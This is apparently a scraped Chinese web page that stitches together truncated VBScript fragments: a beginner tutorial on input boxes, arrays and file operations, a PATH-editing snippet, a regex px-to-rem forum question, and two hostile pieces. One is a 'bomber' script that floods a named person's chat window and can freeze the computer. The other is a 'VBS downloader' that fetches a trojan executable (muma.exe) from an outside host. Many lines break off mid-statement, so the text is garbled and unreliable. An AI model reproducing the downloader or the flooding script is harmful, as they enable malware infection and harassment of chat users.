直接贴代码
在里面细讲代码这段代码的功能是 写一个文本复制，然后运行这个脚本之后就会在QQ等窗口不断的输出你复制的信息，严重消耗计算机资源，不慎会死机
保存为 vbs后缀的文件，然后直接运行即可，不需要编译on error resume next
dim wsh,ye,path
set wsh = createobject("wscript.shell")
for i=1 to 60000
—为什么要使用 Vbs ？
在 Windows 中，学习计算机操作也许很简单，但是很多计算机工作是重复性劳动，例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除，也许你每天启动 计算机第一件事情就是打开 WORD ，切换到你喜爱的输入法进行文本编辑，同时还要播放优美的音乐给工作创造一个舒心的环境，当然也有可能你经常需要对文本中的某
些数据进行整理，把各式各样的数据按照某种规则排列起来……
set ws = createobject("wscript.shell")
rem 运行记录本程序进行测试发送按键
ws.run("notepad")
rem 暂停0.1秒,防止程序还没启动就发送按键
wscript.sleep(100)
rem 输入1个x
rem ws.sendkeys("x")
rem 回车
rem ws.sendkeys("{enter}")
rem 输入10个
关于输入输出就只需要掌握两个函数即可inputbox 和 msgbox 关于inputbox：（输入函数，返回输入的值）
inputbox(“”,”“,”“) 有三个参数，第一个参数提醒用，第二个参数提示用，第三个参数为默认框关于msgbox：（输出函数）
msgbox(“”) 内容可直接输出值好吧，我承认前面这些概念说的太抽象，大致是看不懂的，所以还是得放些例子试试…例子1
Dim nam
set fs = createobject("scripting.filesystemobject")
rem -----------------驱动器操作-----------------
rem 驱动器是否存在
rem msgbox(fs.driveexists("c:\"))
rem 获取驱动器对象
rem set drive = fs.getdrive("c:")
rem 驱动器的可
举个例子：
贴段代码：on error resume next
dim wsh,ye
set wsh = createobject("wscript.shell")
wsh.run "notepad"
for i=1 to 10
wscript.sleep 700
wsh.appactivate("无标题-记事本")
wsh.sendkeys "^v"
wsh.sendkeys i
wsh.sen
效果
代码
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("这里是要轰炸的人名字")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
ne...
set ws = createobject("wscript.shell")
dim x1
rem 弹出输入框 inputbox(text, title, default_value)
x1 = inputbox("请输入一个数字:1/2/3/4/5/16/32/48/64", "标题", 0)
rem 弹出消息框 msgbox(text, type, title)
select case
一、<em>VBS</em><em>下载</em>者：
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.03389.com/muma.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
rem 拆分字符串
rem dim arr
rem arr = split("xiaohei,xiaobai,xiaoming", ",")
rem for each substr in arr
rem msgbox(substr)
rem next
rem 替换字符串
rem msgbox(replace("xiaohei,xiaobai,xiaoming", ",", "|"))
rem
rem 定义和赋值数组
dim arr(3)
arr(0) = 20
arr(1) = 10
arr(2) = 25
arr(3) = 7
rem 定义索引
dim idx
rem 循环语句: for 变量 = 初始值 to 结束值 ... next
rem for i = 0 to 3
rem rem 内部可使用exit for结束循环
rem msgbox(arr(i))
rem n
dim x
x = -2
if x < 0 then
msgbox("x < 0")
elseif x = 0 then
msgbox("x = 0")
else
msgbox("x > 0")
end if
select case x
case 1
msgbox("x = 1")
case 2
msgbox("x = 2")
case else
msgbox("x
这是代码：'on error resume next
set sysenv1 = CreateObject("WScript.Shell")
set sysenv=sysenv1.Environment("system") '系统环境变量的数组对象
thepath=sysenv("path")
newpath=sysenv1.CurrentDirectory & "\Contents\Cygwin\Versions2.0.a9.oga.1\i686"
if Instr(thepath,newpath)=0 then
sysenv("path")=thepath & ";" & newpath '添加变量
end if
thepath=sysenv("path")
'Wscript.echo(thepath)
Wscript.echo
本人完全小白，安装软件最后一步不行，求解决方法
需求：遍历文本文件，在里面找到像素单位（例：“100px”），替换成相对单位（例如：“3rem”）；px与rem单位转换过程中是一个固定比例。
研究半天弄了下面一个脚本，但是不能替换到位。望大佬给个意见
```
Dim regEx,Match,Matches
Set regEx = New RegExp '创建一个正则表达式
regEx.Pattern = "^[1-9]\d*px$" '设置正则表达式的匹配模式
regEx.IgnoreCase = True '设置为不区分大小写
regEx.Global = True '设置为全局可用
dim fso, f
set fso = CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile("1.txt", 1, false) '第二个参数 1 表示只读打开，第三个参数表示目标文件不存在时是否创建
set e = fso.OpenTextFile("2.txt", 8, True)
Do Until f.AtEndOfStream
strLine = f.ReadLine() '从当前位置向后读取直到遇到换行符（不读取换行符），并将当前位置移动到下一行的第一个字符，注意：无参数
Set Matches = regEx.Execute(strLine) '执行搜索
For Each Match in Matches '遍历所有的匹配
x=Len(Match)
n=Left(Match,x-2) ' 拆分去掉最后的px
o = n/30 ' 换算。
p ="rem"
replStr = o&p' 拼接。
MsgBox regEx.Peplace(strLine,replStr)
Next
e.WriteLine(strLine)
Loop
f.Close()
e.Close()
set f = nothing
set fso = nothing
```
